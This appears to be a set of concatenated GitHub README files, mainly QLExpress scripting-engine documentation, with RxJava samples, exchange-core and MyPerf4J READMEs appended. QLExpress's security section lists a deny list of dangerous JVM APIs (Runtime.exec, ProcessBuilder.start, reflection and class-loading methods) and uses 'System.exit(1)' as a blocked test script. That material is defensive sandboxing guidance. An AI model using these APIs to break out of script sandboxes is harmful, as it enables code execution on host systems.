## 3、功能扩展API列表
QLExpress主要通过子类实现Operator.java提供的以下方法来最简单的操作符定义,然后可以被通过addFunction或者addOperator的方式注入到ExpressRunner中。
```java
public abstract Object executeInner(Object[] list) throws Exception;
```
比如我们几行代码就可以实现一个功能超级强大、非常好用的join操作符:
```
_list = 1 join 2 join 3;_ -> [1,2,3]
_list = join(list, 4, 5, 6);_ -> [1,2,3,4,5,6]
```
```java
import java.util.ArrayList;
import java.util.List;
public class JoinOperator extends Operator {
public Object executeInner(Object[] list) throws Exception {
List result = new ArrayList();
Object opdata1 = list[0];
if (opdata1 instanceof List) {
result.addAll((List)opdata1);
} else {
result.add(opdata1);
}
for (int i = 1; i < list.length; i++) {
result.add(list[i]);
}
return result;
}
}
```
如果你使用Operator的基类OperatorBase.java将获得更强大的能力,基本能够满足所有的要求。
### (1)function相关API
```java
//通过name获取function的定义
OperatorBase getFunciton(String name);
//通过自定义的Operator来实现类似:fun(a, b, c)
void addFunction(String name, OperatorBase op);
//fun(a, b, c) 绑定 object.function(a, b, c)对象方法
void addFunctionOfServiceMethod(String name, Object aServiceObject, String aFunctionName, Class<?>[] aParameterClassTypes, String errorInfo);
//fun(a, b, c) 绑定 Class.function(a, b, c)类方法
void addFunctionOfClassMethod(String name, String aClassName, String aFunctionName, Class<?>[] aParameterClassTypes, String errorInfo);
//给Class增加或者替换method,同时支持 a.fun(b), fun(a, b) 两种方法调用
//比如扩展String.class的isBlank方法:"abc".isBlank()和isBlank("abc")都可以调用
void addFunctionAndClassMethod(String name, Class<?> bindingClass, OperatorBase op);
```
### (2)Operator相关API
提到脚本语言的操作符,优先级、运算的目数、覆盖原始的操作符(+,-,*,/等等)都是需要考虑的问题,QLExpress统统帮你搞定了。
```java
//添加操作符号,可以设置优先级
void addOperator(String name, Operator op);
void addOperator(String name, String aRefOpername, Operator op);
//替换操作符处理
OperatorBase replaceOperator(String name, OperatorBase op);
//添加操作符和关键字的别名,比如 if..then..else -> 如果。。那么。。否则。。
void addOperatorWithAlias(String keyWordName, String realKeyWordName, String errorInfo);
```
### (3)宏定义相关API
QLExpress的宏定义比较简单,就是简单的用一个变量替换一段文本,和传统的函数替换有所区别。
```java
//比如addMacro("天猫卖家", "userDO.userTag &1024 == 1024")
void addMacro(String macroName, String express);
```
### (4)java class的相关api
QLExpress可以通过给java类增加或者改写一些method和field,比如 链式调用:"list.join("1").join("2")",比如中文属性:"list.长度"。
```java
//添加类的属性字段
void addClassField(String field, Class<?>bindingClass, Class<?>returnType, Operator op);
//添加类的方法
void addClassMethod(String name, Class<?>bindingClass, OperatorBase op);
```
> 注意,这些类的字段和方法是执行器通过解析语法执行的,而不是通过字节码增强等技术,所以只在脚本运行期间生效,不会对jvm整体的运行产生任何影响,所以是绝对安全的。
### (4)语法树解析变量、函数的API
> 这些接口主要是对一个脚本内容的静态分析,可以作为上下文创建的依据,也可以用于系统的业务处理。
> 比如:计算 "a + fun1(a) + fun2(a + b) + c.getName()"
> 包含的变量:a,b,c
> 包含的函数:fun1,fun2
```java
//获取一个表达式需要的外部变量名称列表
String[] getOutVarNames(String express);
String[] getOutFunctionNames(String express);
```
### (5)语法解析校验api
脚本语法是否正确,可以通过ExpressRunner编译指令集的接口来完成。
```java
String expressString = "for(i = 0; i < 10; i++) {sum = i + 1;} return sum;";
InstructionSet instructionSet = expressRunner.parseInstructionSet(expressString);
//如果调用过程不出现异常,指令集instructionSet就是可以被加载运行(execute)了!
```
### (6)指令集缓存相关的api
因为QLExpress对文本到指令集做了一个本地HashMap缓存,通常情况下一个设计合理的应用脚本数量应该是有限的,缓存是安全稳定的,但是也提供了一些接口进行管理。
```java
//优先从本地指令集缓存获取指令集,没有的话生成并且缓存在本地
InstructionSet getInstructionSetFromLocalCache(String expressString);
//清除缓存
void clearExpressCache();
```
### (7)安全风险控制
#### 7.1 防止死循环
```java
try {
express = "sum = 0; for(i = 0; i < 1000000000; i++) {sum = sum + i;} return sum;";
//可通过timeoutMillis参数设置脚本的运行超时时间:1000ms
Object r = runner.execute(express, context, null, true, false, 1000);
System.out.println(r);
throw new Exception("没有捕获到超时异常");
} catch (QLTimeOutException e) {
System.out.println(e);
}
```
#### 7.1 防止调用不安全的系统api
更加详细多级安全控制见 [多级别安全控制](#4-多级别安全控制)
```java
ExpressRunner runner = new ExpressRunner();
QLExpressRunStrategy.setForbiddenInvokeSecurityRiskMethods(true);
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
try {
express = "System.exit(1);";
Object r = runner.execute(express, context, null, true, false);
System.out.println(r);
throw new Exception("没有捕获到不安全的方法");
} catch (QLException e) {
System.out.println(e);
}
```
### (8)增强上下文参数Context相关的api
#### 8.1 与spring框架的无缝集成
上下文参数 IExpressContext context 非常有用,它允许put任何变量,然后在脚本中识别出来。
在实际中我们很希望能够无缝的集成到spring框架中,可以仿照下面的例子使用一个子类。
```java
public class QLExpressContext extends HashMap<String, Object> implements IExpressContext<String, Object> {
private final ApplicationContext context;
// 构造函数,传入context 和 ApplicationContext
public QLExpressContext(Map<String, Object> map, ApplicationContext aContext) {
super(map);
this.context = aContext;
}
/**
* 抽象方法:根据名称从属性列表中提取属性值
*/
public Object get(Object name) {
Object result;
result = super.get(name);
try {
if (result == null && this.context != null && this.context.containsBean((String)name)) {
// 如果在Spring容器中包含bean,则返回String的Bean
result = this.context.getBean((String)name);
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return result;
}
public Object put(String name, Object object) {
return super.put(name, object);
}
}
```
完整的demo参照 [SpringDemoTest.java](https://github.com/alibaba/QLExpress/blob/master/src/test/java/com/ql/util/express/test/spring/SpringDemoTest.java)
#### 8.2 自定义函数操作符获取原始的context控制上下文
自定义的Operator需要直接继承OperatorBase,获取到parent即可,可以用于在运行一组脚本的时候,直接编辑上下文信息,业务逻辑处理上也非常有用。
```java
public class ContextMessagePutTest {
class OperatorContextPut extends OperatorBase {
public OperatorContextPut(String aName) {
this.name = aName;
}
@Override
public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception {
String key = list.get(0).toString();
Object value = list.get(1);
parent.put(key, value);
return null;
}
}
@Test
public void test() throws Exception {
ExpressRunner runner = new ExpressRunner();
OperatorBase op = new OperatorContextPut("contextPut");
runner.addFunction("contextPut", op);
String express = "contextPut('success', 'false'); contextPut('error', '错误信息'); contextPut('warning', '提醒信息')";
IExpressContext<String, Object> context = new DefaultContext<String, Object>();
context.put("success", "true");
Object result = runner.execute(express, context, null, false, true);
System.out.println(result);
System.out.println(context);
}
}
```
## 4. 多级别安全控制
QLExpress 与本地 JVM 交互的方式有:
- 应用中的自定义函数/操作符/宏: 该部分不在 QLExpress 运行时的管控范围,属于应用开放给脚本的业务功能,不受安全控制,应用需要自行确保这部分是安全的
- 在 QLExpress 运行时中发生的交互: 安全控制可以对这一部分进行管理, QLExpress 会开放相关的配置给应用
- 通过 `.` 操作符获取 Java 对象的属性或者调用 Java 对象中的方法
- 通过 `import` 可以导入 JVM 中存在的任何类并且使用, 默认情况下会导入 `java.lang`, `java.util` 以及 `java.util.stream`
在不同的场景下,应用可以配置不同的安全级别,安全级别由低到高:
1. 黑名单控制:QLExpress 默认会阻断一些高危的系统 API, 用户也可以自行添加, 但是开放对 JVM 中其他所有类与方法的访问, 最灵活, 但是很容易被反射工具类绕过,只适用于脚本安全性有其他严格控制的场景,禁止直接运行终端用户输入
2. 白名单控制:QLExpress 支持编译时白名单和运行时白名单机制, 编译时白名单设置到类级别, 能够在语法检查阶段就暴露出不安全类的使用, 但是无法阻断运行时动态生成的类(比如通过反射), 运行时白名单能够确保运行时只可以直接调用有限的 Java 方法, 必须设置了运行时白名单, 才算是达到了这个级别
3. 沙箱模式:QLExpress 作为一个语言沙箱, 只允许通过自定义函数/操作符/宏与应用交互, 不允许与 JVM 中的类产生交互
### (1) 黑名单控制
QLExpess 目前默认添加的黑名单有:
- `java.lang.System.exit`
- `java.lang.Runtime.exec`
- `java.lang.ProcessBuilder.start`
- `java.lang.reflect.Method.invoke`
- `java.lang.reflect.Class.forName`
- `java.lang.reflect.ClassLoader.loadClass`
- `java.lang.reflect.ClassLoader.findClass`
同时支持通过 `QLExpressRunStrategy.addSecurityRiskMethod` 额外添加
`com.ql.util.express.example.MultiLevelSecurityTest#blockWhiteListControlTest`
```java
// 必须将该选项设置为 true
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
// 这里不区分静态方法与成员方法, 写法一致
// 不支持重载, riskMethod 的所有重载方法都会被禁止
QLExpressRunStrategy.addSecurityRiskMethod(RiskBean.class, "riskMethod");
ExpressRunner expressRunner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<>();
try {
expressRunner.execute("import com.ql.util.express.example.RiskBean;" +
"RiskBean.riskMethod()", context, null, true, false);
fail("没有捕获到不安全的方法");
} catch (Exception e) {
assertTrue(e.getCause() instanceof QLSecurityRiskException);
}
```
### (2)白名单控制
**编译期白名单:**
编译期白名单是类维度的,脚本中只允许显式引用符合白名单条件的类,支持两种设置方式,精确设置某个类,以及设置某个类的全部子类。
`com.ql.util.express.example.MultiLevelSecurityTest#compileWhiteListTest`
```java
// 设置编译期白名单
QLExpressRunStrategy.setCompileWhiteCheckerList(Arrays.asList(
// 精确设置
CheckerFactory.must(Date.class),
// 子类设置
CheckerFactory.assignable(List.class)
));
ExpressRunner expressRunner = new ExpressRunner();
// Date 在编译期白名单中, 可以显示引用
expressRunner.execute("new Date()", new DefaultContext<>(), null,
false, true);
// LinkedList 是 List 的子类, 符合白名单要求
expressRunner.execute("LinkedList ll = new LinkedList; ll.add(1); ll.add(2); ll",
new DefaultContext<>(), null, false, true);
try {
// String 不在白名单中, 不可以显示引用
// 但是隐式引用, a = 'mmm', 或者定义字符串常量 'mmm' 都是可以的
expressRunner.execute("String a = 'mmm'", new DefaultContext<>(), null,
false, true);
} catch (Exception e) {
assertTrue(e.getCause() instanceof QLSecurityRiskException);
}
// Math 不在白名单中
// 对于不满足编译期类型白名单的脚本无需运行, 即可通过 checkSyntax 检测出
assertFalse(expressRunner.checkSyntax("Math.abs(-1)"));
```
编译期白名单只能检测出脚本编译时能够确认的类型,任何运行时出现的类型都是无法检测的,诸如各种反射`Class.forName`, `ClassLoader.loadClass`,或者没有声明类型的变量等等,因为编译期白名单只能增加黑客的作案成本,是容易被绕过。因此建议编译期白名单只用来帮助脚本校验,如果需要接收终端用户输入,运行期白名单是务必要配置的。
**运行期白名单:**
如果有白名单设置,所有的黑名单设置就都会无效,以白名单为准。默认没有白名单设置。
`com.ql.util.express.example.MultiLevelSecurityTest#blockWhiteListControlTest`
```java
// 必须将该选项设置为 true
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
// 有白名单设置时, 则黑名单失效
QLExpressRunStrategy.addSecureMethod(RiskBean.class, "secureMethod");
// 白名单中的方法, 允许正常调用
expressRunner.execute("import com.ql.util.express.example.RiskBean;" +
"RiskBean.secureMethod()", context, null, true, false);
try {
// java.lang.String.length 不在白名单中, 不允许调用
expressRunner.execute("'abcd'.length()", context,
null, true, false);
fail("没有捕获到不安全的方法");
} catch (Exception e) {
assertTrue(e.getCause() instanceof QLSecurityRiskException);
}
// setSecureMethods 设置方式
Set<String> secureMethods = new HashSet<>();
secureMethods.add("java.lang.String.length");
secureMethods.add("java.lang.Integer.valueOf");
QLExpressRunStrategy.setSecureMethods(secureMethods);
// 白名单中的方法, 允许正常调用
Object res = expressRunner.execute("Integer.valueOf('abcd'.length())", context,
null, true, false);
assertEquals(4, res);
try {
// java.lang.Long.valueOf 不在白名单中, 不允许调用
expressRunner.execute("Long.valueOf('abcd'.length())", context,
null, true, false);
fail("没有捕获到不安全的方法");
} catch (Exception e) {
assertTrue(e.getCause() instanceof QLSecurityRiskException);
}
```
从上图中可以看出白名单有两种设置方式:
- 添加:`QLExpressRunStrategy.addSecureMethod`
- 置换:`QLExpressRunStrategy.setSecureMethods`
在应用中使用的时,推荐将白名单配置在诸如 `etcd`,`configServer` 等配置服务中,根据需求随时调整。
### (3)沙箱模式
如果你厌烦上述复杂的配置,只是想完全关闭 QLExpress 和 Java 应用的自由交互,那么推荐使用沙箱模式。
在沙箱模式中,脚本**不可以**:
- import Java 类
- 显式引用 Java 类,比如 `String a = 'mmm'`
- 取 Java 类中的字段:`a = new Integer(11); a.value`
- 调用 Java 类中的方法:`Math.abs(12)`
脚本**可以**:
- 使用 QLExpress 的自定义操作符/宏/函数,以此实现与应用的受控交互
- 使用 `.` 操作符获取 `Map` 的 `key` 对应的 `value`,比如 `a` 在应用传入的表达式中是一个 `Map`,那么可以通过 `a.b` 获取
- 所有不涉及应用 Java 类的操作
`com.ql.util.express.example.MultiLevelSecurityTest#sandboxModeTest`
```java
// 开启沙箱模式
QLExpressRunStrategy.setSandBoxMode(true);
ExpressRunner expressRunner = new ExpressRunner();
// 沙箱模式下不支持 import 语句
assertFalse(expressRunner.checkSyntax("import com.ql.util.express.example.RiskBean;"));
// 沙箱模式下不支持显式的类型引用
assertFalse(expressRunner.checkSyntax("String a = 'abc'"));
assertTrue(expressRunner.checkSyntax("a = 'abc'"));
// 无法用 . 获取 Java 类属性或者 Java 类方法
try {
expressRunner.execute("'abc'.length()", new DefaultContext<>(),
null, false, true);
fail();
} catch (QLException e) {
// 没有找到方法:length
}
try {
DefaultContext<String, Object> context = new DefaultContext<>();
context.put("test", new CustBean(12));
expressRunner.execute("test.id", context,
null, false, true);
fail();
} catch (RuntimeException e) {
// 无法获取属性:id
}
// 沙箱模式下可以使用 自定义操作符/宏/函数 和应用进行交互
expressRunner.addFunction("add", new Operator() {
@Override
public Object executeInner(Object[] list) throws Exception {
return (Integer) list[0] + (Integer) list[1];
}
});
assertEquals(3, expressRunner.execute("add(1,2)", new DefaultContext<>(),
null, false, true));
// 可以用 . 获取 map 的属性
DefaultContext<String, Object> context = new DefaultContext<>();
HashMap<Object, Object> testMap = new HashMap<>();
testMap.put("a", "t");
context.put("test", testMap);
assertEquals("t", expressRunner.execute("test.a", context,
null, false, true));
```
在沙箱模式下,为了进一步保障内存的安全,建议同时限制脚本能够申请的最大数组长度以及超时时间,设置方法如下:
`com.ql.util.express.test.ArrayLenCheckTest`
```java
// 限制最大申请数组长度为10, 默认没有限制
QLExpressRunStrategy.setMaxArrLength(10);
ExpressRunner runner = new ExpressRunner();
String code = "byte[] a = new byte[11];";
try {
// 20ms 超时时间
runner.execute(code, new DefaultContext<>(), null, false, false, 20);
Assert.fail();
} catch (QLException e) {
}
QLExpressRunStrategy.setMaxArrLength(-1);
// 20ms 超时时间
runner.execute(code, new DefaultContext<>(), null, false, false, 20);
```
附录:
[版本更新列表](VERSIONS.md)
## links for us
- Gitter channel - Online chat room with QLExpress developers. [Gitter channel ](https://gitter.im/QLExpress/Lobby)
- email:tianqiao@alibaba-inc.com,baoxingjie@126.com
- wechart:371754252 | 0 |
rengwuxian/RxJavaSamples | RxJava 2 和 Retrofit 结合使用的几个最常见使用方式举例 | 2016-03-24T13:08:10Z | null | 样例代码已正式切换到基于 RxJava 2
================
> 需要旧版 RxJava 1 代码的点[这里](https://github.com/rengwuxian/RxJavaSamples/tree/1.x)
### 项目介绍
RxJava 2 和 Retrofit 结合使用的几个最常见使用方式举例。
1. **基本使用**
实现最基本的网络请求和结果处理。
![screenshot_1](./images/screenshot_1.png)
2. **转换(map)**
把返回的数据转换成更方便处理的格式再交给 Observer。
![screenshot_2](./images/screenshot_2.png)
3. **压合(zip)**
将不同接口并行请求获取到的数据糅合在一起后再处理。
![screenshot_3](./images/screenshot_3.png)
4. **一次性 token**
需要先请求 token 再访问的接口,使用 flatMap() 将 token 的请求和实际数据的请求连贯地串起来,而不必写嵌套的 Callback 结构。
![screenshot_4](./images/screenshot_4.png)
5. **非一次性 token**
对于非一次性的 token (即可重复使用的 token),在获取 token 后将它保存起来反复使用,并通过 retryWhen() 实现 token 失效时的自动重新获取,将 token 获取的流程彻底透明化,简化开发流程。
![screenshot_5](./images/screenshot_5.png)
6. **缓存**
使用 BehaviorSubject 缓存数据。
![screenshot_6](./images/screenshot_6.png)
### apk 下载
[RxJavaSamples_2.0.apk](https://github.com/rengwuxian/RxJavaSamples/releases/download/2.0/RxJavaSamples_2.0.apk) | 0 |
exchange-core/exchange-core | Ultra-fast matching engine written in Java based on LMAX Disruptor, Eclipse Collections, Real Logic Agrona, OpenHFT, LZ4 Java, and Adaptive Radix Trees. | 2018-08-05T18:25:16Z | null | # exchange-core
[![Build Status](https://travis-ci.org/mzheravin/exchange-core.svg?branch=master)](https://travis-ci.org/mzheravin/exchange-core)
[![Javadocs](https://www.javadoc.io/badge/exchange.core2/exchange-core.svg)](https://www.javadoc.io/doc/exchange.core2/exchange-core)
[![Language grade: Java](https://img.shields.io/lgtm/grade/java/g/mzheravin/exchange-core.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/mzheravin/exchange-core/context:java)
[![][license img]][license]
Exchange-core is an **open source market exchange core** based on
[LMAX Disruptor](https://github.com/LMAX-Exchange/disruptor),
[Eclipse Collections](https://www.eclipse.org/collections/) (ex. Goldman Sachs GS Collections),
[Real Logic Agrona](https://github.com/real-logic/agrona),
[OpenHFT Chronicle-Wire](https://github.com/OpenHFT/Chronicle-Wire),
[LZ4 Java](https://github.com/lz4/lz4-java),
and [Adaptive Radix Trees](https://db.in.tum.de/~leis/papers/ART.pdf).
Exchange-core includes:
- orders matching engine
- risk control and accounting module
- disk journaling and snapshots module
- trading, admin and reports API
Designed for high scalability and pauseless 24/7 operation under high-load conditions and providing low-latency responses:
- 3M users having 10M accounts in total
- 100K order books (symbols) having 4M pending orders in total
- less than 1ms worst wire-to-wire target latency for 1M+ operations per second throughput
- 150ns per matching for large market orders
Single order book configuration is capable to process 5M operations per second on 10-years old hardware (Intel® Xeon® X5690) with moderate latency degradation:
|rate|50.0%|90.0%|95.0%|99.0%|99.9%|99.99%|worst|
|----|-----|-----|-----|-----|-----|------|-----|
|125K|0.6µs|0.9µs|1.0µs|1.4µs|4µs |24µs |41µs |
|250K|0.6µs|0.9µs|1.0µs|1.4µs|9µs |27µs |41µs |
|500K|0.6µs|0.9µs|1.0µs|1.6µs|14µs |29µs |42µs |
| 1M|0.5µs|0.9µs|1.2µs|4µs |22µs |31µs |45µs |
| 2M|0.5µs|1.2µs|3.9µs|10µs |30µs |39µs |60µs |
| 3M|0.7µs|3.6µs|6.2µs|15µs |36µs |45µs |60µs |
| 4M|1.0µs|6.0µs|9µs |25µs |45µs |55µs |70µs |
| 5M|1.5µs|9.5µs|16µs |42µs |150µs|170µs |190µs|
| 6M|5µs |30µs |45µs |300µs|500µs|520µs |540µs|
| 7M|60µs |1.3ms|1.5ms|1.8ms|1.9ms|1.9ms |1.9ms|
![Latencies HDR Histogram](hdr-histogram.png)
Benchmark configuration:
- Single symbol order book.
- 3,000,000 inbound messages are distributed as follows: 9% GTC orders, 3% IOC orders, 6% cancel commands, 82% move commands. About 6% of all messages are triggering one or more trades.
- 1,000 active user accounts.
- In average ~1,000 limit orders are active, placed in ~750 different price slots.
- Latency results are only for risk processing and orders matching. Other stuff like network interface latency, IPC, journaling is not included.
- Test data is not bursty, meaning constant interval between commands (0.2~8µs depending on target throughput).
- BBO prices are not changing significantly throughout the test. No avalanche orders.
- No coordinated omission effect for latency benchmark. Any processing delay affects measurements for next following messages.
- GC is triggered prior/after running every benchmark cycle (3,000,000 messages).
- RHEL 7.5, network-latency tuned-adm profile, dual X5690 6 cores 3.47GHz, one socket isolated and tickless, spectre/meltdown protection disabled.
- Java version 8u192, newer Java 8 versions can have a [performance bug](https://bugs.java.com/bugdatabase/view_bug.do?bug_id=JDK-8221355)
### Features
- HFT optimized. Priority is a limit-order-move operation mean latency (currently ~0.5µs). Cancel operation takes ~0.7µs, placing new order ~1.0µs;
- In-memory working state for accounting data and order books.
- Event-sourcing - disk journaling and journal replay support, state snapshots (serialization) and restore operations, LZ4 compression.
- Lock-free and contention-free orders matching and risk control algorithms.
- No floating-point arithmetic, no loss of significance is possible.
- Matching engine and risk control operations are atomic and deterministic.
- Pipelined multi-core processing (based on LMAX Disruptor): each CPU core is responsible for certain processing stage, user accounts shard, or symbol order books shard.
- Two different risk processing modes (specified per symbol): direct-exchange and margin-trade.
- Maker/taker fees (defined in quote currency units).
- Two order books implementations: simple implementation ("Naive") and performance implementation ("Direct").
- Order types: Immediate-or-Cancel (IOC), Good-till-Cancel (GTC), Fill-or-Kill Budget (FOK-B)
- Testing - unit-tests, integration tests, stress tests, integrity/consistency tests.
- Low GC pressure, objects pooling, single ring-buffer.
- Threads affinity (requires JNA).
- User suspend/resume operation (reduces memory consumption).
- Core reports API (user balances, open interest).
### Installation
1. Install library into your Maven's local repository by running `mvn install`
2. Add the following Maven dependency to your project's `pom.xml`:
```
<dependency>
<groupId>exchange.core2</groupId>
<artifactId>exchange-core</artifactId>
<version>0.5.3</version>
</dependency>
```
Alternatively, you can clone this repository and run the [example test](https://github.com/mzheravin/exchange-core/tree/master/src/test/java/exchange/core2/tests/examples/ITCoreExample.java).
### Usage examples
Create and start empty exchange core:
```java
// simple async events handler
SimpleEventsProcessor eventsProcessor = new SimpleEventsProcessor(new IEventsHandler() {
@Override
public void tradeEvent(TradeEvent tradeEvent) {
System.out.println("Trade event: " + tradeEvent);
}
@Override
public void reduceEvent(ReduceEvent reduceEvent) {
System.out.println("Reduce event: " + reduceEvent);
}
@Override
public void rejectEvent(RejectEvent rejectEvent) {
System.out.println("Reject event: " + rejectEvent);
}
@Override
public void commandResult(ApiCommandResult commandResult) {
System.out.println("Command result: " + commandResult);
}
@Override
public void orderBook(OrderBook orderBook) {
System.out.println("OrderBook event: " + orderBook);
}
});
// default exchange configuration
ExchangeConfiguration conf = ExchangeConfiguration.defaultBuilder().build();
// no serialization
Supplier<ISerializationProcessor> serializationProcessorFactory = () -> DummySerializationProcessor.INSTANCE;
// build exchange core
ExchangeCore exchangeCore = ExchangeCore.builder()
.resultsConsumer(eventsProcessor)
.serializationProcessorFactory(serializationProcessorFactory)
.exchangeConfiguration(conf)
.build();
// start up disruptor threads
exchangeCore.startup();
// get exchange API for publishing commands
ExchangeApi api = exchangeCore.getApi();
```
Create new symbol:
```java
// currency code constants
final int currencyCodeXbt = 11;
final int currencyCodeLtc = 15;
// symbol constants
final int symbolXbtLtc = 241;
// create symbol specification and publish it
CoreSymbolSpecification symbolSpecXbtLtc = CoreSymbolSpecification.builder()
.symbolId(symbolXbtLtc) // symbol id
.type(SymbolType.CURRENCY_EXCHANGE_PAIR)
.baseCurrency(currencyCodeXbt) // base = satoshi (1E-8)
.quoteCurrency(currencyCodeLtc) // quote = litoshi (1E-8)
.baseScaleK(1_000_000L) // 1 lot = 1M satoshi (0.01 BTC)
.quoteScaleK(10_000L) // 1 price step = 10K litoshi
.takerFee(1900L) // taker fee 1900 litoshi per 1 lot
.makerFee(700L) // maker fee 700 litoshi per 1 lot
.build();
future = api.submitBinaryDataAsync(new BatchAddSymbolsCommand(symbolSpecXbtLtc));
```
Create new users:
```java
// create user uid=301
future = api.submitCommandAsync(ApiAddUser.builder()
.uid(301L)
.build());
// create user uid=302
future = api.submitCommandAsync(ApiAddUser.builder()
.uid(302L)
.build());
```
Perform deposits:
```java
// first user deposits 20 LTC
future = api.submitCommandAsync(ApiAdjustUserBalance.builder()
.uid(301L)
.currency(currencyCodeLtc)
.amount(2_000_000_000L)
.transactionId(1L)
.build());
// second user deposits 0.10 BTC
future = api.submitCommandAsync(ApiAdjustUserBalance.builder()
.uid(302L)
.currency(currencyCodeXbt)
.amount(10_000_000L)
.transactionId(2L)
.build());
```
Place orders:
```java
// first user places Good-till-Cancel Bid order
// he assumes BTCLTC exchange rate 154 LTC for 1 BTC
// bid price for 1 lot (0.01BTC) is 1.54 LTC => 1_5400_0000 litoshi => 10K * 15_400 (in price steps)
future = api.submitCommandAsync(ApiPlaceOrder.builder()
.uid(301L)
.orderId(5001L)
.price(15_400L)
.reservePrice(15_600L) // can move bid order up to the 1.56 LTC, without replacing it
.size(12L) // order size is 12 lots
.action(OrderAction.BID)
.orderType(OrderType.GTC) // Good-till-Cancel
.symbol(symbolXbtLtc)
.build());
// second user places Immediate-or-Cancel Ask (Sell) order
// he assumes wost rate to sell 152.5 LTC for 1 BTC
future = api.submitCommandAsync(ApiPlaceOrder.builder()
.uid(302L)
.orderId(5002L)
.price(15_250L)
.size(10L) // order size is 10 lots
.action(OrderAction.ASK)
.orderType(OrderType.IOC) // Immediate-or-Cancel
.symbol(symbolXbtLtc)
.build());
```
Request order book:
```java
future = api.requestOrderBookAsync(symbolXbtLtc, 10);
```
GtC orders manipulations:
```java
// first user moves remaining order to price 1.53 LTC
future = api.submitCommandAsync(ApiMoveOrder.builder()
.uid(301L)
.orderId(5001L)
.newPrice(15_300L)
.symbol(symbolXbtLtc)
.build());
// first user cancel remaining order
future = api.submitCommandAsync(ApiCancelOrder.builder()
.uid(301L)
.orderId(5001L)
.symbol(symbolXbtLtc)
.build());
```
Check user balance and GtC orders:
```java
Future<SingleUserReportResult> report = api.processReport(new SingleUserReportQuery(301), 0);
```
Check system balance:
```java
// check fees collected
Future<TotalCurrencyBalanceReportResult> totalsReport = api.processReport(new TotalCurrencyBalanceReportQuery(), 0);
System.out.println("LTC fees collected: " + totalsReport.get().getFees().get(currencyCodeLtc));
```
### Testing
- latency test: mvn -Dtest=PerfLatency#testLatencyMargin test
- throughput test: mvn -Dtest=PerfThroughput#testThroughputMargin test
- hiccups test: mvn -Dtest=PerfHiccups#testHiccups test
- serialization test: mvn -Dtest=PerfPersistence#testPersistenceMargin test
### TODOs
- market data feeds (full order log, L2 market data, BBO, trades)
- clearing and settlement
- reporting
- clustering
- FIX and REST API gateways
- cryptocurrency payment gateway
- more tests and benchmarks
- NUMA-aware and CPU layout custom configuration
### Contributing
Exchange-core is an open-source project and contributions are welcome!
### Support
- [Discussion group in Telegram (t.me/exchangecoretalks)](https://t.me/exchangecoretalks)
- [News channel in Telegram (t.me/exchangecore)](https://t.me/exchangecore)
[license]:LICENSE.txt
[license img]:https://img.shields.io/badge/License-Apache%202-blue.svg
| 0 |
LinShunKang/MyPerf4J | High performance Java APM. Powered by ASM. Try it. Test it. If you feel its better, use it. | 2018-03-11T09:58:44Z | null | 简体中文 | [English](./README.EN.md)
<h1 align="center">MyPerf4J</h1>
<div align="center">
一个针对高并发、低延迟应用设计的高性能 Java 性能监控和统计工具。
[![GitHub (pre-)release](https://img.shields.io/github/release/LinShunKang/MyPerf4J/all.svg)](https://github.com/LinShunKang/MyPerf4J) [![Build Status](https://travis-ci.com/LinShunKang/MyPerf4J.svg?branch=develop)](https://travis-ci.com/LinShunKang/MyPerf4J) [![Coverage Status](https://coveralls.io/repos/github/LinShunKang/MyPerf4J/badge.svg?branch=develop)](https://coveralls.io/github/LinShunKang/MyPerf4J?branch=develop) [![GitHub issues](https://img.shields.io/github/issues/LinShunKang/MyPerf4J.svg)](https://github.com/LinShunKang/MyPerf4J/issues) [![GitHub closed issues](https://img.shields.io/github/issues-closed/LinShunKang/MyPerf4J.svg)](https://github.com/LinShunKang/MyPerf4J/issues?q=is%3Aissue+is%3Aclosed) [![GitHub](https://img.shields.io/github/license/LinShunKang/MyPerf4J.svg)](./LICENSE)
</div>
## 价值
* 快速定位性能瓶颈
* 快速定位故障原因
## 优势
* [高性能](https://github.com/LinShunKang/MyPerf4J/wiki/%E6%80%A7%E8%83%BD%E5%BC%80%E9%94%80): 单线程支持每秒 **1600 万次** 响应时间的记录,每次记录只花费 **63 纳秒**
* [无侵入](https://github.com/LinShunKang/MyPerf4J/wiki/%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86#%E6%95%B0%E6%8D%AE%E9%87%87%E9%9B%86): 采用 **JavaAgent** 方式,对应用程序完全无侵入,无需修改应用代码
* [低内存](https://github.com/LinShunKang/MyPerf4J/wiki/%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86#%E6%95%B0%E6%8D%AE%E5%AD%98%E5%82%A8): 采用**内存复用**的方式,整个生命周期只产生极少的临时对象,不影响应用程序的 GC
* 高实时: 支持**秒级统计**,最低统计粒度为 **1 秒**,并且是**全量统计**,不丢失任何一次记录
## 文档
* [English Doc](https://github.com/LinShunKang/MyPerf4J/wiki/English-Doc)
* [中文文档](https://github.com/LinShunKang/MyPerf4J/wiki/Chinese-Doc)
## 监控指标
MyPerf4J 为每个应用收集数十个监控指标,所有的监控指标都是实时采集和展现的。
下面是 MyPerf4J 目前支持的监控指标列表:
- **[Method Metrics](https://grafana.com/dashboards/7766)**<br/>
[RPS,Count,Avg,Min,Max,StdDev,TP50, TP90, TP95, TP99, TP999, TP9999, TP100](https://github.com/LinShunKang/MyPerf4J/wiki/%E6%8C%87%E6%A0%87#method-metrics)
![Markdown](https://raw.githubusercontent.com/LinShunKang/Objects/master/MyPerf4J-InfluxDB-Method_Show_Operation.gif)
- **[JVM Metrics](https://grafana.com/dashboards/8787)**<br/>
